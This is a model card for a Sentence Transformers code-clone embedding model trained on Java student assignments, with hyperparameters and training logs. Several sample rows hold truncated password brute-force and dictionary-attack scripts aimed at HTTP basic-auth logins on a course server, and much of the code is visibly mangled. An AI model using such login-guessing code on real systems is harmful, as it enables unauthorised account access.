anchor_code positive_code negative_code type string string string details - min: 51 tokens
- mean: 465.94 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 466.25 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 458.71 tokens
- max: 512 tokens
- Samples:
anchor_code positive_code negative_code import java.util.;
import java.io.;
public class WatchDog {
public WatchDog() {
}
public static void main(String args[]) {
DataInputStream newin;
try{
System.out.println("Downloading first copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
String[] cmdMail = {"//sh", "-c", "mailx -s "Diffrence" "@cs.rmit.edu." < Diff.txt"};
while(true){
Thread.sleep(246060*1000);
System.out.println("Downloading new copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
Thread.sleep(2000);
Runtime.getRuntime().exec(cmdDiff);
Thread.sleep(2000);
newin = new DataInputStream( new FileInputStream( "Diff.txt"));
if (newin.readLine() != null){
System.out.println("Sending Mail");
...import java.util.;
import java.io.;
import javax.swing.text.html.;
public class WatchDog {
public WatchDog() {
}
public static void main (String args[]) {
DataInputStream newin;
try{
System.out.println("ishti");
System.out.println("Downloading first copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
String[] cmdMail = {"//sh", "-c", "mailx -s "Diffrence" "@cs.rmit.edu." < Diff.txt"};
while(true){
Thread.sleep(2460601000);
System.out.println("Downloading new copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
Thread.sleep(2000);
Runtime.getRuntime().exec(cmdDiff);
Thread.sleep(2000);
newin = new DataInputStream( new FileInputStream( "Diff.txt"));
if (newin.readLine() ...
import java.net.;
import java.io.;
import java.util.*;
public class BruteForce{
private static URL location;
private static String user;
private BufferedReader input;
private char [] password = {'A', 'A', 'A'};
private int noLetters = 3;
public BruteForce() {
Authenticator.setDefault(new MyAuthenticator ());
startTime = System.currentTimeMillis();
boolean passwordMatched = false;
while (!passwordMatched) {
try {
input = new BufferedReader(new InputStreamReader(location.openStream()));
String line = input.readLine();
while (line != null) {
System.out.println(line);
line = input.readLine();
}
input.close();
passwordMatched = true;
}
catch (ProtocolException e)
{
}
catch (ConnectException e) {
System.out.println("Failed connect");
}
catch (IOException e)...import java.util.;
import java.net.;
import java.io.*;
public class BruteForce
{
boolean connected = false;
int counter;
String[] chars = {"a","b","c","d","e","f","g","h",
"i","j","k","l","m","n","o","p",
"q","r","s","t","u","v","w","x",
"y","z","A","B","C","D","E","F",
"G","H","I","J","K","L","M","N",
"O","P","Q","R","S","T","U","V",
"W","X","Y","Z"};
Vector combinations = new Vector();
BruteForce()
{
counter = 0;
this.genCombinations();
this.startAttack();
}
public void startAttack()
{
while(counter {
connected = sendRequest();
if(connected == true)
{
System.out.print("The password is: ");
System.out.println((String)combinations.elementAt(counter-1));
counter = combinations.size(...import java.util.;
import java.net.;
import java.io.*;
public class Dictionary
{
boolean connected = false;
int counter;
Vector words = new Vector();
Dictionary()
{
counter = 0;
this.readWords();
this.startAttack();
}
public void startAttack()
{
while(counter {
connected = sendRequest();
if(connected == true)
{
System.out.print("The password is: ");
System.out.println((String)words.elementAt(counter-1));
counter = words.size();
}
}
}
public void readWords()
{
String line;
try
{
BufferedReader buffer = new BufferedReader(
new FileReader("/usr/share/lib/dict/words"));
line = buffer.readLine();
while(line != null)
{
if(line.length() <= 3)
...import java.net.;
import java.io.;
public class BruteForce
{
public BruteForce(String u,String uname) throws Exception
{
String pass="";
try
{
String []chr={"a","b","c","d","e","f","g","h","i","j",
"k","l","m","n","o","p","q","r","s","t",
"u","v","w","x","y","z","A","B","C","D",
"E","F","G","H","I","J","K","L","M","N",
"O","P","Q","R","S","T","U","V","W","X","Y","Z"};
URL url=new URL(u);
PasswordAuthentication pa;
MyAuthenticator =new MyAuthenticator();
HttpURLConnection h;
int c=0;
for(int i=1;i<=52;i++)
{
c++;
pass=""+chr[i-1];
pa=new PasswordAuthentication(uname,pass.toCharArray());
h.setPasswordAuthentication(pa);
Authenticator.setDefault();
h=(HttpURLConnection)url.openConnection();
h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass));
System.out.println("Try :"+chr(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")");
if(h.getResponseCode() != 401)
throw...import java.net.;
import java.io.;
import java.;
import java.Runtime.;
import java.Object.;
import java.util.;
import java.util.StringTokenizer;
public class ReadFile
{
private StringTokenizer tokenizer;
private BufferedReader bf;
private String line;
private String first;
Vector in = new Vector();
public void loadFile()throws NoSuchElementException, IOException
{
System.out.println("in loadFile");
try{
bf = new BufferedReader(new FileReader("words"));
}
catch(FileNotFoundException fe){}
catch(IOException io){}
while((line = bf.readLine())!=null)
{
int index = 0;
tokenizer = new StringTokenizer(line);
try
{
first = tokenizer.nextToken();
if (first.length() == 3)
{
in.add(first);
}
}
catch(NoSuchElementException n)
{
System.out.println("File Loaded Succesfully");
}
}
}
public Vector getVector()
{
return in;
...import java.net.;
import java.io.;
import java.;
import java.Runtime.;
import java.Object.;
import java.util.;
import java.util.StringTokenizer;
public class makePasswords
{
public String [ ] alphabet1 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
public String [ ] alphabet2 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
public String [ ] alphabet3 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", ...package java.httputils;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStream;
public class WatchDog
{
protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);
protected int interval = 24;
protected String URL = "http://www.cs.rmit.edu./students/";
protected String fileName = "WatchDogContent.html";
protected String command = "./alert_mail.sh";
protected String savedContent;
protected String retrievedContent;
public WatchDog()
{
super();
}
public void run() throws Exception
{
HttpRequestClient client = null;
System.out.println(getClass().getName() +
"Retrieving baseline copy of: " + getURL());
client = new HttpRequestClie... - Loss:
CachedMultipleNegativesRankingLosswith these parameters:{ "scale": 20.0, "similarity_fct": "cos_sim", "mini_batch_size": 32, "gather_across_devices": false }
Evaluation Dataset
soco_train_java
- Dataset: soco_train_java at 44ca4ff
- Size: 8,592 evaluation samples
- Columns:
anchor_code,positive_code, andnegative_code - Approximate statistics based on the first 1000 samples:
anchor_code positive_code negative_code type string string string details - min: 51 tokens
- mean: 465.22 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 464.66 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 458.05 tokens
- max: 512 tokens
- Samples:
anchor_code positive_code negative_code
import java.util.;
import java.io.;
public class WatchDog
{
public static void main(String args[])
{
Runtime rt1 = Runtime.getRuntime();
Process prss1= null;
try
{
prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");
}catch(java.io.IOException e){}
MyWatchDogTimer w = new MyWatchDogTimer();
Timer time = new Timer();
time.schedule(w,864000000,864000000);
}
}
import java.util.;
import java.io.;
public class MyTimer
{
public static void main(String args[])
{
Watchdog watch = new Watchdog();
Timer time = new Timer();
time.schedule(watch,864000000,864000000);
}
}import java.net.;
import java.io.;
import java.util.Vector;
import java.util.Date;
import java.security.;
public class Dictionary {
public static BufferedReader in;
public static void main(String[] args) throws Exception {
String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
int count=0;
Date date = new Date();
startTime=date.getTime();
int LIMITINMINUTES=45;
int TIMELIMIT=LIMITINMINUTES1000*60;
boolean timedOut=false;
boolean found=false;
Vector dictionary=new Vector(readWords());
System.out.println("Words in dictionary: "+dictionary.size());
while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
}
String password = "";
...
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class MailsendPropertyHelper {
private static Properties testProps;
public MailsendPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");
testProps.load(fis);
}
}
}
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class BruteForcePropertyHelper {
private static Properties bruteForceProps;
public BruteForcePropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the burteforce Props");
e.printStackTrace();
}
return bruteForceProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(bruteForceProps == null){
bruteForceProps = new Properties();
InputStream fis =
BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");
bruteForceProps.load(fis);
}
}
}
import java.net.;
import java.io.;
import java.Ostermiller.util.;
import java.util.;
public class MyClient2 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private BruteForce myMaster;
public MyClient2(BruteForce bf , int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
...import java.io.;
import java.net.;
import java.util.*;
public class Dictionary
{
public static void main (String args[])
{
Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();
String password=getPassword(startTime);
System.out.println("The password is " + password);
}
public static String getPassword(double startTime)
{
String password="";
int requests=0;
try
{
FileReader fRead = new FileReader("/usr/share/lib/dict/words");
BufferedReader buf = new BufferedReader(fRead);
password=buf.readLine();
while (password != null)
{
if (password.length()<=3)
{
requests++;
if (testPassword(password, startTime, requests))
return password;
}
password = buf.readLine();
}
}
catch (IOException ioe)
{
}
return password;
}
private static boolean testPassword(String password, double startTime, int requests)
{
try
{
U...import java.io.;
import java.net.;
import java.util.*;
public class BruteForce
{
public static void main(String args[])
{
Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();
String password=getPassword(startTime);
System.out.println("The password is " + password);
}
public static String getPassword(double startTime)
{
char first, second, third;
String password="";
int requests=0;
for (int i=65; i<123; i++)
{
requests++;
first = (char) i;
password = first + "";
if (testPassword(password, startTime, requests))
return password;
for (int j=65; j<123; j++)
{
requests++;
second = (char) j;
password = first + "" + second;
if (testPassword(password, startTime, requests))
return password;
for (int k=65; k<123; k++)
{
requests++;
third = (char) k;
password = first + "" + second + "" + third;
if (test...
import java.misc.BASE64Encoder;
import java.misc.BASE64Decoder;
import java.io.;
import java.net.;
import java.util.*;
public class Dictionary {
public Dictionary(String url, String dictionaryFile) {
try{
this.url = url;
this.dictionaryPath = dictionaryFile;
InputStream fis = new FileInputStream(this.dictionaryPath);
dict = new BufferedReader(new InputStreamReader(fis));
}catch(IOException ioe){
System.out.println("Error opening dictionary file:\n" +ioe);
}
}
private String url = null;
private String dictionaryPath = null;
private BufferedReader dict = null;
private int attempts = 0;
private int passwordSize = 3;
public void setPasswordSize(int size){
this.passwordSize = size;
}
public String getNextPassword()throws IOException{
String line = dict.readLine();
while(line!=null&&line.length()!=this.passwordSize )
line = dict.readLine();
return line;
}
publ... - Loss:
CachedMultipleNegativesRankingLosswith these parameters:{ "scale": 20.0, "similarity_fct": "cos_sim", "mini_batch_size": 32, "gather_across_devices": false }
Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size: 16num_train_epochs: 1warmup_ratio: 0.1fp16: Truebatch_sampler: no_duplicates
All Hyperparameters
Click to expand
overwrite_output_dir: Falsedo_predict: Falseeval_strategy: noprediction_loss_only: Trueper_device_train_batch_size: 16per_device_eval_batch_size: 8per_gpu_train_batch_size: Noneper_gpu_eval_batch_size: Nonegradient_accumulation_steps: 1eval_accumulation_steps: Nonetorch_empty_cache_steps: Nonelearning_rate: 5e-05weight_decay: 0.0adam_beta1: 0.9adam_beta2: 0.999adam_epsilon: 1e-08max_grad_norm: 1.0num_train_epochs: 1max_steps: -1lr_scheduler_type: linearlr_scheduler_kwargs: {}warmup_ratio: 0.1warmup_steps: 0log_level: passivelog_level_replica: warninglog_on_each_node: Truelogging_nan_inf_filter: Truesave_safetensors: Truesave_on_each_node: Falsesave_only_model: Falserestore_callback_states_from_checkpoint: Falseno_cuda: Falseuse_cpu: Falseuse_mps_device: Falseseed: 42data_seed: Nonejit_mode_eval: Falseuse_ipex: Falsebf16: Falsefp16: Truefp16_opt_level: O1half_precision_backend: autobf16_full_eval: Falsefp16_full_eval: Falsetf32: Nonelocal_rank: 0ddp_backend: Nonetpu_num_cores: Nonetpu_metrics_debug: Falsedebug: []dataloader_drop_last: Falsedataloader_num_workers: 0dataloader_prefetch_factor: Nonepast_index: -1disable_tqdm: Falseremove_unused_columns: Truelabel_names: Noneload_best_model_at_end: Falseignore_data_skip: Falsefsdp: []fsdp_min_num_params: 0fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap: Noneaccelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}parallelism_config: Nonedeepspeed: Nonelabel_smoothing_factor: 0.0optim: adamw_torch_fusedoptim_args: Noneadafactor: Falsegroup_by_length: Falselength_column_name: lengthddp_find_unused_parameters: Noneddp_bucket_cap_mb: Noneddp_broadcast_buffers: Falsedataloader_pin_memory: Truedataloader_persistent_workers: Falseskip_memory_metrics: Trueuse_legacy_prediction_loop: Falsepush_to_hub: Falseresume_from_checkpoint: Nonehub_model_id: Nonehub_strategy: every_savehub_private_repo: Nonehub_always_push: Falsehub_revision: Nonegradient_checkpointing: Falsegradient_checkpointing_kwargs: Noneinclude_inputs_for_metrics: Falseinclude_for_metrics: []eval_do_concat_batches: Truefp16_backend: autopush_to_hub_model_id: Nonepush_to_hub_organization: Nonemp_parameters:auto_find_batch_size: Falsefull_determinism: Falsetorchdynamo: Noneray_scope: lastddp_timeout: 1800torch_compile: Falsetorch_compile_backend: Nonetorch_compile_mode: Noneinclude_tokens_per_second: Falseinclude_num_input_tokens_seen: Falseneftune_noise_alpha: Noneoptim_target_modules: Nonebatch_eval_metrics: Falseeval_on_start: Falseuse_liger_kernel: Falseliger_kernel_config: Noneeval_use_gather_object: Falseaverage_tokens_across_devices: Falseprompts: Nonebatch_sampler: no_duplicatesmulti_dataset_batch_sampler: proportionalrouter_mapping: {}learning_rate_mapping: {}
Training Logs
| Epoch | Step | Training Loss |
|---|---|---|
| 0.0466 | 100 | 0.9559 |
| 0.0931 | 200 | 0.3877 |
| 0.1397 | 300 | 0.386 |
| 0.1862 | 400 | 0.3535 |
| 0.2328 | 500 | 0.3314 |
| 0.2793 | 600 | 0.3485 |
| 0.3259 | 700 | 0.3315 |
| 0.3724 | 800 | 0.3425 |
| 0.4190 | 900 | 0.3402 |
| 0.4655 | 1000 | 0.3406 |
| 0.5121 | 1100 | 0.3271 |
| 0.5587 | 1200 | 0.3356 |
| 0.6052 | 1300 | 0.3164 |
| 0.6518 | 1400 | 0.3122 |
| 0.6983 | 1500 | 0.3119 |
| 0.7449 | 1600 | 0.3124 |
| 0.7914 | 1700 | 0.3 |
| 0.8380 | 1800 | 0.2786 |
| 0.8845 | 1900 | 0.3148 |
| 0.9311 | 2000 | 0.283 |
| 0.9777 | 2100 | 0.297 |
Framework Versions
- Python: 3.11.11
- Sentence Transformers: 5.1.1
- Transformers: 4.56.2
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.10.1
- Datasets: 4.1.1
- Tokenizers: 0.22.1
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
CachedMultipleNegativesRankingLoss
@misc{gao2021scaling,
title={Scaling Deep Contrastive Learning Batch Size under Memory Limited Setup},
author={Luyu Gao and Yunyi Zhang and Jiawei Han and Jamie Callan},
year={2021},
eprint={2101.06983},
archivePrefix={arXiv},
primaryClass={cs.LG}
}